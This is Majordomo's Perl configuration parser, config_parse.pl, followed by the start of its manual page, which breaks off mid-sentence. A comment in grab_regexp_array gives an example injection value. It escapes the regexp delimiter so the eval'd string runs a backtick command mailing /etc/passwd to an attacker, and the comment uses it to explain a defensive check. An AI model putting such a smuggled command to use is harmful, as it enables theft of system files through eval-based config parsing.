'di'; 'ig00'; # A file to parse a majordomo mailing list config file # # writes into the global variable %main'config_opts # # $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.71 2000/01/07 14:00:26 cwilson Exp $ # $Modified: Fri Jan 7 14:59:49 2000 by cwilson $ # this array holds the interesting info for use by all tools %main'config_opts=(); require 'shlock.pl'; # here is the config package package config; $config'debug = 0; #Set to non-zero for various debugging levels $clobber = 1; # if 0 don't empty previous list entries for configuration @errors = (); # The config'errors array is used to store error messages # if the array is not empty, it causes main'get_config() # to return 1. $installing_defaults = 0; # Set to 1 when installing defaults, in case # a grab_ function needs to act differently # when dealing with a default item. ## Begin ## The following associative arrays are used: ## ## %known_keys(keyword,default value) -- defines the known keys in the ## config file. A null value implies that the ## string is undefined. A default value with '#!' ## at the beginning causes the string to be ## eval'ed. This is useful for substituting the ## list name etc into the string. If the keyword ## takes on a descrete set of values, the ## parse function MUST be grab_enum. The value of ## known_keys is the list of ## enumerated values. The separator character is ## "\001". Added onto the end is the default ## value. If the value can take on numerous ## values (i.e. is an array), the value is a ## string with each element in the array ## separated by "\001". ## ## %comments(keyword, comment) -- keeps comments for each keyword ## The comments are printed out when making a config ## file. So that they will document the use of ## the keyword. ## ## %parse_function(key, function) -- The function to use to parse the ## value for a given key. All functions for this ## purpose begin with "grab_", and are in package ## config. The type of the function can be ## appended with __ to the name of the ## function. There are some special names for ## some of the functions. Any function that ## allows array values must end in _array. This ## allows the main parser to determine that an ## array syntax is allowable for the keyword. ## ## %subsystem(keyword, subsystem) -- tells what subsystem each keyword ## belongs to. By default only majordomo, and ## resend are used as subsystems. This is meant ## for extentions such as majordomo-mh that ## allows access to the mh mail package via ## majordomo. ## End # provide list of known keys. If value is '', then the key is undefined # I.e. the action is just as though there was no keyword found. # otherwise the value is the default value for the keyword. # if the value starts with #!, the rest of the value is eval'ed %known_keys = ( 'welcome', 'yes', # send welcome msg to new subscribers 'announcements', 'yes', # send sub/unsub audits to list owner 'get_access', "open\001closed\001list\001list", # open, anyone can access 'index_access', "open\001closed\001list\001open", # closed, nobody can 'who_access', "open\001closed\001list\001open", # list, only list can access. 'which_access', "open\001closed\001list\001open", # ...more to come... 'info_access', "open\001closed\001list\001open", # 'intro_access', "open\001closed\001list\001list", # 'advertise', '', # if regexp matches address show list 'noadvertise', '', # if regexp matches address # don't show list 'description', '', # description of list, one line 55 char 'subscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_subscribe_policy ? \$default_subscribe_policy : 'open'", # open, closed, or auto. 'unsubscribe_policy', "open\001closed\001auto\001open+confirm\001closed+confirm\001auto+confirm\001#!\$default_unsubscribe_policy ? \$default_unsubscribe_policy : 'open'", # open, closed, or auto. 'mungedomain', 'no', # is user@foo.com == user@host.foo.com 'admin_passwd', '#!"$list.admin"', # administration password 'strip', 'yes', # remove comments from address on list 'date_info', 'yes', # date the info file when installed 'date_intro', 'yes', # date the intro file when installed 'archive_dir', '', # When it works use '#!$main\'filedir . "/" . $list', # stuff for resend below 'moderate', 'no', # Is list moderated 'moderator', '', # moderator instead of owner-list 'approve_passwd', '#!"$list.pass"', # password for approving postings 'sender', '#!"owner-" . $list', # Set sender name 'maxlength', '40000', # Set max article length 'precedence', 'bulk', # Set/install precendence header 'reply_to', '#! local($TEMP) = $list; if ( $list =~ /-digest$/) { $TEMP =~ s/-digest$//; $TEMP; } else { ""; }', # Set/install reply-to header # the code above sets the reply-to # to null if it is not a -digest list, # or the non-digest list if it is # a -digest list. 'restrict_post', '', # Like -I in resend 'purge_received', 'no', # Remove received lines 'administrivia', 'yes',# Enable administrivia checks 'resend_host', '', # Change the host name 'debug', 'no', # enable resend debugging 'message_fronter', '', 'message_footer', '', # text to be added at bottom of posting 'message_headers', '', # headers to be added to messsages 'subject_prefix', '', # prefix for the subject line 'taboo_headers', '', # if a header matches, review message 'taboo_body', '', # if body matches, review message # stuff for digest below 'digest_volume', '1', 'digest_issue', '1', 'digest_work_dir', '', 'digest_name', '#!$list', 'digest_archive', '', 'digest_rm_footer', '', 'digest_rm_fronter', '', 'digest_maxlines', '', 'digest_maxdays', '', # general stuff below 'comments', '', # comments about config file ); # An associative array of comments for all of the keys # The text is wrapped and filled on output. %comments = ( 'welcome', "If set to yes, a welcome message (and optional 'intro' file) will be sent to the newly subscribed user.", 'announcements', "If set to yes, comings and goings to the list will be sent to the list owner. These SUBSCRIBE/UNSUBSCRIBE event announcements are informational only (no action is required), although it is highly recommended that they be monitored to watch for list abuse.", 'get_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'index_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'who_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'which_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'info_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'intro_access', "One of three values: open, list, closed. Open allows anyone access to this command and closed completely disables the command for everyone. List allows only list members access, or if restrict_post is defined, only the addresses in those files are allowed access.", 'advertise', "If the requestor email address matches one of these regexps, then the list will be listed in the output of a lists command. Failure to match any regexp excludes the list from the output. The regexps under noadvertise override these regexps.", 'comments', "Comment string that will be retained across config file rewrites.", 'noadvertise', "If the requestor name matches one of these regexps, then the list will not be listed in the output of a lists command. Noadvertise overrides advertise.", 'description', "Used as description for mailing list when replying to the lists command. There is no quoting mechanism, and there is only room for 50 or so characters.", 'subscribe_policy', "One of three values: open, closed, auto; plus an optional modifier: '+confirm'. Open allows people to subscribe themselves to the list. Auto allows anybody to subscribe anybody to the list without maintainer approval. Closed requires maintainer approval for all subscribe requests to the list. Adding '+confirm', ie, 'open+confirm', will cause majordomo to send a reply back to the subscriber which includes a authentication number which must be sent back in with another subscribe command.", 'unsubscribe_policy', "One of three values: open, closed, auto; plus an optional modifier: '+confirm'. Open allows people to unsubscribe themselves from the list. Auto allows anybody to unsubscribe anybody to the list without maintainer approval. The existence of the file .auto is the same as specifying the value auto. Closed requires maintainer approval for all unsubscribe requests to the list. In addition to the keyword, if the file .closed exists, it is the same as specifying the value closed. Adding '+confirm', ie, 'auto+confirm', will cause majordomo to send a reply back to the subscriber if the request didn't come from the subscriber. The reply includes a authentication number which must be sent back in with another subscribe command. The value of this keyword overrides the value supplied by any existent files.", 'mungedomain', "If set to yes, a different method is used to determine a matching address. When set to yes, addresses of the form user\@dom.ain.com are considered equivalent to addresses of the form user\@ain.com. This allows a user to subscribe to a list using the domain address rather than the address assigned to a particular machine in the domain. This keyword affects the interpretation of addresses for subscribe, unsubscribe, and all private options.", 'admin_passwd', "The password for handling administrative tasks on the list.", 'strip', "When adding address to the list, strip off all comments etc, and put just the raw address in the list file. In addition to the keyword, if the file .strip exists, it is the same as specifying a yes value. That yes value is overridden by the value of this keyword.", 'date_info', "Put the last updated date for the info file at the top of the info file rather than having it appended with an info command. This is useful if the file is being looked at by some means other than majordomo (e.g. finger).", 'date_intro', "Put the last updated date for the intro file at the top of the intro file rather than having it appended with an intro command. This is useful if the file is being looked at by some means other than majordomo (e.g. finger).", 'moderate', "If yes, all postings to the list will be bounced to the moderator for approval.", 'moderator', "Address for directing posts which require approval. Such approvals might include moderated mail, administrivia traps, and restrict_post authorizations. If the moderator address is not set, it will default to the list-approval address.", 'approve_passwd', "Password to be used in the approved header to allow posting to moderated list, or to bypass resend checks.", 'sender', "The envelope and sender address for the resent mail. This string has \"\@\" and the value of resend_host appended to it to make a complete address. For majordomo, it provides the sender address for the welcome mail message generated as part of the subscribe command.", 'maxlength', "The maximum size of an unapproved message in characters. When used with digest, a new digest will be automatically generated if the size of the digest exceeds this number of characters.", 'precedence', "Put a precedence header with value into the outgoing message.", 'reply_to', "Put a reply-to header with value into the outgoing message. If the token \$SENDER is used, then the address of the sender is used as the value of the reply-to header. This is the value of the reply-to header for digest lists.", 'restrict_post', "If defined, only addresses listed in these files (colon or space separated) can post to the mailing list. By default, these files are relative to the lists directory. These files are also checked when get_access, index_access, info_access, intro_access, which_access, or who_access is set to 'list'. This is less useful than it seems it should be since there is no way to create these files if you do not have access to the machine running resend. This mechanism will be replaced in a future version of majordomo/resend.", 'resend_host', "The host name that is appended to all address strings specified for resend.", 'purge_received', "Remove all received lines before resending the message.", 'administrivia', "Look for administrative requests (e.g. subscribe/unsubscribe) and forward them to the list maintainer instead of the list.", 'debug', "Don't actually forward message, just go though the motions.", 'archive_dir', "The directory where the mailing list archive is kept. This item does not currently work. Leave it blank.", 'message_fronter', "Text to be prepended to the beginning of all messages posted to the list. The text is expanded before being used. The following expansion tokens are defined: \$LIST - the name of the current list, \$SENDER - the sender as taken from the from line, \$VERSION, the version of majordomo. If used in a digest, only the expansion token _SUBJECTS_ is available, and it expands to the list of message subjects in the digest", 'message_footer', "Text to be appended at the end of all messages posted to the list. The text is expanded before being used. The following expansion tokens are defined: \$LIST - the name of the current list, \$SENDER - the sender as taken from the from line, \$VERSION, the version of majordomo. If used in a digest, no expansion tokens are provided", 'message_headers', "These headers will be appended to the headers of the posted message. The text is expanded before being used. The following expansion tokens are defined: \$LIST - the name of the current list, \$SENDER - the sender as taken from the from line, \$VERSION, the version of majordomo.", 'subject_prefix', "This word will be prefixed to the subject line, if it is not already in the subject. The text is expanded before being used. The following expansion tokens are defined: \$LIST - the name of the current list, \$SENDER - the sender as taken from the from line, \$VERSION, the version of majordomo.", 'taboo_headers', "If any of the headers matches one of these regexps, then the message will be bounced for review.", 'taboo_body', "If any line of the body matches one of these regexps, then the message will be bounced for review.", 'digest_volume', "The current volume number", 'digest_issue', "The issue number of the next issue", 'digest_work_dir', "The directory used as scratch space for digest. Don't change this unless you know what you are doing", 'digest_name', "The subject line for the digest. This string has the volume and issue appended to it.", 'digest_archive', "The directory where the digest archive is kept. This item does not currently work. Leave it blank.", 'digest_rm_footer', "The value is the name of the list that applies the header and footers to the messages that are received by digest. This allows the list supplied headers and footers to be stripped before the messages are included in the digest.", 'digest_rm_fronter', 'Works just like digest_rm_footer, except it removes the front material.', 'digest_maxlines', "automatically generate a new digest when the size of the digest exceeds this number of lines.", 'digest_maxdays', "automatically generate a new digest when the age of the oldest article in the queue exceeds this number of days.", ); # match commands to their subsystem, by default only 4 subsystems # exist, majordomo, resend, digest and config. %subsystem = ( 'welcome', 'majordomo', 'announcements', 'majordomo', 'get_access', 'majordomo', 'index_access', 'majordomo', 'info_access', 'majordomo', 'intro_access', 'majordomo', 'who_access', 'majordomo', 'which_access', 'majordomo', 'advertise', 'majordomo', 'noadvertise', 'majordomo', 'description', 'majordomo', 'subscribe_policy', 'majordomo', 'unsubscribe_policy', 'majordomo', 'mungedomain', 'majordomo', 'admin_passwd', 'majordomo', 'strip', 'majordomo', 'date_info', 'majordomo', 'date_intro', 'majordomo', 'archive_dir', 'majordomo', # stuff for resend below 'moderate', 'resend', 'moderator', 'resend', 'approve_passwd', 'resend', 'sender', 'majordomo,resend,digest', 'maxlength', 'resend,digest', 'precedence', 'resend,digest', 'reply_to', 'resend,digest', 'restrict_post', 'resend', 'purge_received', 'resend', 'administrivia', 'resend', 'resend_host', 'resend', 'debug', 'resend', 'message_fronter', 'resend,digest', 'message_footer', 'resend,digest', 'message_headers', 'resend,digest', 'subject_prefix', 'resend', 'taboo_headers', 'resend', 'taboo_body', 'resend', # digest here 'digest_volume', 'digest', 'digest_issue', 'digest', 'digest_work_dir', 'digest', 'digest_name', 'digest', 'digest_archive', 'digest', 'digest_rm_footer', 'digest', 'digest_rm_fronter', 'digest', 'digest_maxlines', 'digest', 'digest_maxdays', 'digest', # general stuff here 'comments', 'config', ); # match a parse function to a keyword # the parse function will be called to parse the value string for # the keyword %parse_function = ( 'welcome', 'grab_bool', 'announcements', 'grab_bool', 'get_access', 'grab_enum', 'index_access', 'grab_enum', 'info_access', 'grab_enum', 'intro_access', 'grab_enum', 'who_access', 'grab_enum', 'which_access', 'grab_enum', 'advertise', 'grab_regexp_array', 'noadvertise', 'grab_regexp_array', 'description', 'grab_string', 'subscribe_policy', 'grab_enum', 'unsubscribe_policy', 'grab_enum', 'mungedomain', 'grab_bool', 'admin_passwd', 'grab_word', 'strip', 'grab_bool', 'date_info', 'grab_bool', 'date_intro', 'grab_bool', 'archive_dir', 'grab_absolute_dir', # stuff for resend below 'moderate', 'grab_bool', 'moderator', 'grab_word', 'approve_passwd', 'grab_word', 'sender', 'grab_word', 'maxlength', 'grab_integer', 'precedence', 'grab_word', 'reply_to', 'grab_word', 'restrict_post', 'grab_restrict_post', 'purge_received', 'grab_bool', 'administrivia', 'grab_bool', 'resend_host', 'grab_word', 'debug', 'grab_bool', 'message_fronter', 'grab_string_array', 'message_footer', 'grab_string_array', 'message_headers', 'grab_string_array', 'subject_prefix', 'grab_word', 'taboo_headers', 'grab_regexp_array', 'taboo_body', 'grab_regexp_array', # stuff for digest below 'digest_volume', 'grab_integer', 'digest_issue', 'grab_integer', 'digest_work_dir', 'grab_absolute_dir', 'digest_name', 'grab_string', 'digest_directory', 'grab_absolute_dir', 'digest_archive', 'grab_absolute_dir', 'digest_rm_footer', 'grab_word', 'digest_rm_fronter', 'grab_word', 'digest_maxlines', 'grab_integer', 'digest_maxdays', 'grab_integer', # general stuff below 'comments', 'grab_string_array', ); #### writeconfig # is called to create up a default config file # if majordomo runs and access a list for which no config # file exists. The config file must already be locked. # # It is also called in response to the majordomo command "writeconfig" sub writeconfig { local($listdir,$list) = @_; local($key,$intro,$type,$value,$default,$subsystem,$comment) = (); local($op) = '='; local($oldumask) = umask($config_umask); format OUT = @<<<<<<<<<<<<<<<<<<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $key, $intro ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~ $comment @<<<<<<<<<<<<<<<<<< @<< @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< $key, $op, $value . &main'open_temp(OUT, "$listdir/$list.config.out") || &main'abort("Can't create new config file $listdir/$list.config.out"); umask($oldumask); $installing_defaults = 1; foreach $key (sort (keys(%known_keys))) { local($enum,@enum); undef $enum; $type = $parse_function{$key}; $type =~ s/^grab_//; # remove the grab_ prefix $type =~ s/^.*__//; # If we have an explicit type, get it @enum = split(/\001/,$known_keys{$key}) if $type eq "enum"; $default = pop(@enum); # Remove the default $value = $main'config_opts{$list,$key};#'; $value = ("no","yes")[$value] if $type eq "bool"; $default = ($known_keys{$key} eq '' ? "undef" : &get_def($key, $known_keys{$key}, $list)); $default = ("no","yes")[$default] if $type eq "bool"; $default =~ s/\001/;/g; $subsystem = $subsystem{$key}; $enums = join(';',@enum[$[..$#enum]) if $type eq "enum"; $intro = "[$type] ($default) <$subsystem>"; $intro .= " /$enums/" if $type eq "enum"; $comment = (defined $comments{$key} ? $comments{$key} : " "); if ($type =~ /_array/) { # output items in array normal form local($lval) = $value; $value = "END"; $op = '<<'; write(OUT); # handle the - escapes. We have to be careful about ordering # the rules so that we don't accidently trigger a substitution # if there is a - at the beginning of an entry, double it # so that the doubled - can be striped when read in later $lval =~ s/^-/--/g; # start with -'ed line $lval =~ s/\001-/\001--/g; # embedded line starting with - # In standard form, empty lines are lines that have only # a '-' on the line. $lval =~ s/^\001/-\001/g; # start with blank line $lval =~ s/\001\001/\001-\001/g; # embedded blank line $lval =~ s/\001$/\001-/g; # trailing blank line # if there is space, protect it with a - $lval =~ s/^(\s)/-$1/g; # the first line $lval =~ s/\001(\s)/\001-$1/g; # embedded lines # now that all of the escapes are processed, get it ready # to be printed. $lval =~ s/\001/\n/g; print OUT $lval, "\nEND\n" || &main'abort("Error writing config file for $list, $!"); $op = '='; } else { write(OUT) || &main'abort("Error writing config file for $list, $!"); } } $installing_defaults = 0; close(OUT); # I have to post process the output to put the %#@^& comment character # in. I can't do this in a forked process without getting a mix of the # stdin to the parent and the child with Perl 4.019. open(MCONFIG, "> $listdir/$list.config") || &main'abort( "Can't create new config file $listdir/$list.config"); print MCONFIG <'s. (undef) as default value means that the keyword is not # defined or used. EOS open(IN, "< $listdir/$list.config.out") || &main'abort( "Can't create new config file $listdir/$list.config.out"); while () { s/^(\t)(\S+)/$1# $2/; # prepend a '# ' to any line with a tab at the # beginning preserving indentation. print(MCONFIG) || &main'abort("Couldn't write new config for $list, $!"); } close(MCONFIG); close(IN); unlink("$listdir/$list.config.out"); } #### handle_flag_files # This is a compatibility routine for the non-config file # based version of majordomo. It looks for the flag files, and # sets the corresponding config file parameters. sub handle_flag_files { local($listdir, $list) = @_; if ( -e "$listdir/$list.private") { $main'config_opts{$list,"get_access"} = "closed"; $main'config_opts{$list,"index_access"} = "closed"; $main'config_opts{$list,"who_access"} = "closed"; $main'config_opts{$list,"which_access"} = "closed"; } $main'config_opts{$list,"subscribe_policy"} = "closed" if ( -e "$listdir/$list.closed"); $main'config_opts{$list,"unsubscribe_policy"} = "closed" if ( -e "$listdir/$list.closed"); if ( -e "$listdir/$list.auto" && -e "$listdir/$list.closed") { push(@errors, "Both listname.auto and listname.closed exist. Choosing closed\n"); } else { $main'config_opts{$list,"subscribe_policy"} = "auto" if ( -e"$listdir/$list.auto"); $main'config_opts{$list,"unsubscribe_policy"} = "auto" if ( -e"$listdir/$list.auto"); } $main'config_opts{$list,"strip"} = 1 if ( -e "$listdir/$list.strip"); $main'config_opts{$list,"noadvertise"} = "/.*/" if ( -e "$listdir/$list.hidden"); } ######## # # The function that does all of the real work. # Called with a list directory, a list name, and optionally a flag # that indicates the config file is already locked if true (and # should be left locked on return). # # List config file locking is different than other files in that a # distinct lock file is used instead of just lopen() locking because # it's easier to manage a persistent lock than to try to keep the file # open (and thus locked) and pass the filehandle around. # sub main'get_config { local($listdir, $list, $locked) = @_; local($parse, $here_doc, $stop, $end) = (); $end = 0; @errors = (); print STDERR "get_config($listdir, $list)\n" if $debug > 1; if ($main'config_opts{$list} && $clobber) { # hey a reload, better clobber all previous # entries pertaining to this list local($i); print STDERR "unloading entries for $list\n" if $debug > 1; foreach $i (keys(%known_keys)) { undef $main'config_opts{$list,"$i"}; } } $main'config_opts{$list,''} = '1'; # set a flag to indicate that we # have parsed the config file for # this list print STDERR "adding site-wide defaults\n" if $debug > 1; $installing_defaults = 1; foreach $i (keys(%known_keys)) { $main'config_opts{$list,$i} = &get_def($i, $known_keys{$i}, $list); } $installing_defaults = 0; print STDERR "Overriding with existing config files\n" if $debug > 1; &handle_flag_files($listdir, $list); # this looks for files of # the form listname.function unless ($locked) { &main'set_lock("$listdir/$list.config.LOCK") || &main'abort( "Can't get lock for $listdir/$list.config"); } print("making default\n") if ($debug > 1) && (! -e "$listdir/$list.config"); &writeconfig($listdir, $list) unless -e "$listdir/$list.config" ; print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1; open(CONFIG, "$listdir/$list.config") || &main'abort( "Can't open $listdir/$list.config"); while ($_ = ) { next if /^\s*(#|$)/; # remove comment and blank lines chop $_; # remove the trailing \n s/#.*//; # remove comments at the end of lines $here_doc = 0; ($key,$value) = split(/=/, $_, 2); # try splitting on = if ($key =~ /\<\) { $value =~ s/^\s*//; # strip whitespace front $value =~ s/\s*$//; # strip whitespace rear $end = 0, last if $stop eq $value; push(@errors, "invalid blank line found at line ", $. - 1, "\n"), $end = 0, last if $end == 1; if ( $value eq '' ) { # stop accumulating on empty line # unless it is right b4 $stop $end = 1; } # call the parse function for every value in the here document # take the output of the parse function and add it to the # string representation of the array. In the string representation, # array values are separated by the ^A character. if (defined($main'config_opts{$list,$key})) { $main'config_opts{$list,$key} .= "\001" . &$parse($value, $list, $key); } else { # we are starting an array $main'config_opts{$list,$key} = &$parse($value, $list, $key); } } } } close(CONFIG); &main'free_lock("$listdir/$list.config.LOCK") unless $locked; print STDERR @errors if $debug > 1; return 1 if @errors; return 0; } ##### # # The grab functions that validate values are defined below: # # grab_absolute_dir - looks for root anchored existing directory # uses @main'safedirs to determine valid # paths. # grab_absolute_file - looks for root anchored existing file # uses @main'safefiles to determine valid # paths. # # grab_bool - parses boolean options "yes", "y", "no", "n" # # grab_enum -- validates an enumerated value from a sequence # # grab_integer -- validates an integer # # grab_regexp -- validates a regexp. Must have leading and trailing # match delimiters. # # grab_restrict_post -- validates the existance of files listed # # grab_string -- reads/returns a string. No checking is done. # # grab_word - grabs one whitespace delimited word. Complains if more # than 1 word. #### sub grab_absolute_dir { local($dir, $list, $key) = @_; return(""); return ("") if $dir eq "undef"; return ("") if $dir eq ""; push(@errors, "Relative path element '..' in $dir is not allowed\n") if $dir =~ m#/\.\./# ; push(@errors, "Anchoring path element '.' in $dir is not allowed\n") if $dir =~ m#/\./# ; push(@errors, "$dir must be root anchored\n") if $dir !~ m#^/# ; foreach $i (@main'safedirs) { if ($dir =~ m#$i#) { return $dir if ( -d $dir ); push(@errors, "Directory $dir doesn't exist\n"); return ""; } } push(@errors, "Directory $dir is not safe\n"); return ""; } sub grab_absolute_file { local($file) = @_; return(""); push(@errors, "Relative path element '..' in $file is not allowed\n") if $file =~ m#/\.\./# ; push(@errors, "Anchoring path element '.' in $file is not allowed\n") if $file =~ m#/\./# ; push(@errors, "$file must be root anchored\n") if $file != m#^/# ; foreach $i (@main'safefiles) { if ($file =~ "m#$i#") { return $file if ( -f $file ); push(@errors, "File $file doesn't exist\n"); return ""; } } push(@errors, "File $file is not safe\n"); return ""; } sub grab_bool { local($bool) = @_; $bool =~ tr/A-Z/a-z/; return 1 if $bool eq "yes"; return 1 if $bool eq "y"; return 0 if $bool eq "no"; return 0 if $bool eq "n"; push(@errors,"Unknown boolean value $bool in config file at line $.\n"); return 0; } sub grab_enum { local($value, $list, $key) = @_; local($i, @enum) = ""; local($default_value) = ""; if ($installing_defaults) { # the value when installing defaults is # the entire enumerated list, with the # default at the end @enum = split(/\001/, $value); $value = pop(@enum); $default_value = $value; if ( $value =~ s/^#!// ) { $default_value = $value; $value = eval("$value"); push(@errors, $@) if $@ ne ""; } # # duplicate here for better error message during # default setup. # foreach $i (@enum) { return $value if $value eq $i; } push(@errors, "$value at line $. is not a valid value.\n" . "This value was taken from the default list.\n" . "It was produced by $default_value\n" . "So it is likely to be taken from majordomo.cf.\n" . "BTW, the line number shown here is the line number of the last line and not relevant.\n" . "The key to which the value was assigned was $key " . "\n" . "Valid values are: " . join(';', @enum) . "\nlist was $list" ); return ""; } else { @enum = split(/\001/, $known_keys{$key}); pop(@enum); } foreach $i (@enum) { return $value if $value eq $i; } push(@errors, "$value at line $. is not a valid value.\n" . "Valid values are: " . join(';', @enum) . "\nlist was $list" . " the key was $key " . "\n" . "installing_default was $installing_defaults" . "\n"); return ""; } sub grab_integer { local($num, $list, $key)=@_; return($num) if $num =~ /^[1-9][0-9]*$/; return($num) if $num =~ /^$/; push(@errors, "$num is not an integer at line $.\n"); return ""; } sub grab_integer_array { local($value, $list, $key) = @_; local(@value_array) = split(/\001/,$value); local(@return_array, @local_errors, $num) = (); foreach $num (@value_array){ push(@local_errors, "integer |$num| contains a ^A at line $.\n"), next if $re =~ /\001/; push(@return_array, $num) if $num =~ /^[1-9][0-9]*$/; push(@return_array, $num) if $num =~ /^$/; push(@local_errors, "$num is not an integer at line $.\n"); } if (@local_errors) { push(@errors, @local_errors); return ""; } return (join("\001", @return_array)); } sub grab_float { local($num)=@_; return($num) if $num =~ /^[0-9][0-9]*\.[0-9]+$/; return($num) if $num =~ /^$/; push(@errors, "$num is not a floating point number at line $.\n"); return ""; } sub grab_float_array { local($value, $list, $key) = @_; local(@value_array) = split(/\001/,$value); local(@return_array, @local_errors, $num) = (); foreach $num (@value_array){ push(@local_errors, "integer |$num| contains a ^A at line $.\n"), next if $re =~ /\001/; push(@return_array, $num) if $num =~ /^[1-9][0-9]*\.[0-9]+$/; push(@return_array, $num) if $num =~ /^$/; push(@local_errors, "$num is not an floating point number at line $.\n"); } if (@local_errors) { push(@errors, @local_errors); return ""; } return (join("\001", @return_array)); } sub grab_regexp_array { local($value, $list, $key) = @_; local(@re_array) = split(/\001/,$value); local(@return_re, @re_errors, $re, $dlm) = (); foreach $re (@re_array){ if ($re =~ /\001/) { push(@re_errors, "regular expression |$re| contains a ^A at line $.\n"); } # if we don't check for an extra deliminator here, an # evil person could sneak stuff in here, since it # is eval'd... # Ie: # advertise = << END # m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy: # END # elsif ($re !~ m:^((/)|m([^\w\s])):) { push(@re_errors, "|$re| not a valid pattern match expression at line $.\n"); } else { $dlm=($2||$3); if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) { push(@re_errors, "|$re| not a valid pattern match expression at line $.\n"); } elsif (eval "'' =~ $re", $@) { push(@re_errors, $@); } else { push(@return_re, $re); } } } if (@re_errors) { push(@errors, @re_errors); return ""; } return (join("\001", @return_re)); } sub grab_restrict_post { local($list) = @_; local(@files) = (); @files = split (/[:\s]+/, $list); foreach (@files) { # add listdir if no leading / # $_ = ( m@^/@ ? $_ : "$main'listdir/$_"); #'; push(@errors, "Can't find restrict_post file $_ at line $.\n" ) unless -e $_; } return ($list); # if the list isn't any good, resend is ok about it } sub grab_string { local($string) = @_; return($string); } # accumulate an array of strings allowing escape sequences stared with a -. sub grab_string_array { local($value, $list, $key) = @_; local(@s_array) = split(/\001/,$value); local(@return_s, @s_errors, $str) = (); foreach $str (@s_array){ # a single - on a line means a blank character/line $str = '' if ( $str eq '-' ); $str =~ s/^-(\s+)/$1/; # a - saves space $str =~ s/^--/-/; # a -- means - push(@return_s, $str), next if $str !~ /\001/; push(@s_errors, "string |$str| contains a ^A at line $.\n"); } if (@s_errors) { push(@errors, @s_errors); return ""; } return (join("\001", @return_s)); } sub grab_word { local($word) = @_; push(@errors, "More then one word " . $count . "in value $_ at line $.\n") if ($count = split(' ', $word)) > 1 ; return ($word); } #### # # start utility routines # #### sub config'get_def { local($key, $default, $list) = @_; local($parser) = (); local($digest) = undef; # sometimes the list variable doesn't get overridden #$orig_list = $list; # Does anyone ever need this? $list =~ s/.new$//; # chomp a .new extention to load # a replacement file $baselist = $list; # Compatibility &main'abort( "Improper number of args to get_def") unless defined $list; # discover what mode we are working in # are we generating a digest list $digest = 1 if $list =~ /-digest$/; if ( $default =~ s/^#!// ) { $default = eval("$default"); print $@ if $@ ne ""; } $parser = $parse_function{$key}; return(($default eq '') ? '' : &$parser($default, $list, $key)); } sub substitute_values { # BUG the string \$ can't be embedded, but I see no reason it should # be needed local($string, $list) = @_; if ( index($string, '$') < $[ ) { # if there is no $ in the string, just return the string return($string); } # hide escaped \$ variable references $string =~ s/\\\$/\002/; $string =~ s/\$LIST/$list/g; $string =~ s/\$VERSION/$main'majordomo_version/g; $string =~ s/\$SENDER/$main'from/g; # replace the escaped $'s $string =~ s/\002/\$/; return($string); } #### # # Routines for package main. # #### # get the boolean value. Return true if not the number 0 or null. sub main'cf_ck_bool { #given the name of the list and item, look it up local($list, $key) = @_; return (1) if (($main'config_opts{$list,$key} != 0) && $main'config_opts{$list,$key} ne ''); return (0); } sub main'new_keyword { # all args are required local($key,$value,$function,$subsystem,$comment) = @_; die "new_keyword: key is not defined" if !defined($key); # value can be undef, so don't check for defined state of value. die "new_keyword: function is not defined" if !defined($function); die "new_keyword: subsystem is not defined" if !defined($subsystem); die "new_keyword: comments are not defined" if !defined($comment); $key =~ s/^\s*//; # strip whitespace front $key =~ s/\s*$//; # strip whitespace rear $value =~ s/^\s*//; # strip whitespace front $value =~ s/\s*$//; # strip whitespace rear $function =~ s/^\s*//; # strip whitespace front $function =~ s/\s*$//; # strip whitespace rear $subsystem =~ s/^\s*//; # strip whitespace front $subsystem =~ s/\s*$//; # strip whitespace rear $comment =~ s/^\s*//; # strip whitespace front $comment =~ s/\s*$//; # strip whitespace rear die "Keyword $key > 18 characters" if length($key) > 18; $known_keys{$key} = ( defined($value) ? $value : ''); # use null value # for undef if (!defined(&$function)) { die "Unknown function $function (package config) for keyword $key\n"; } $parse_function{$key} = $function; # set the function $subsystem{$key} = $subsystem; # set the subsystem $comments{$key} = $comment if defined $comment; # set the documentation } # a dummy main for testing. You aren't expected to understand this junk. #package main; #require "majordomo.cf"; #require 'mm_match_user' ; # # # #&main'get_config($ARGV[0],$ARGV[1]); #&config'writeconfig($ARGV[0], $ARGV[1]); #foreach $i (sort(keys(%main'config_opts))) { #local($j) = $i; #$j =~ s/^$ARGV[1]$;//; #$j =~ s/^$ARGV[1]//; #print ($j . " = " . # ($main'config_opts{$i} eq ''? "undef" : $main'config_opts{$i}) . "\n") # unless $j eq ''; #} #print @config'errors; # 1; # keep require happy. ############################################################### # These next few lines are legal in both Perl and nroff. .00; # finish .ig 'di \" finish diversion--previous line must be blank .nr nl 0-1 \" fake up transition to first page again .nr % 0 \" start at page 1 '; __END__ ##### From here on it's a standard manual page ##### .TH config_parse.pl 8 .SH NAME config_parse.pl, new_keyword, config_opts, %known_keys \- Add a new keyword to the majordomo configuration file parser. .SH Syntax .nf .B &main'new_keyword(key, default_value, parse_function, subsystem, comment) .B $config_opts{, key} .SH Description The new_keyword function registers a new keyword with the majordomo configuration file parser. The default value, or an overriding value specified in the config file will be put into the array %main'config_opts, which is indexed by the listname and the key. The arguments to 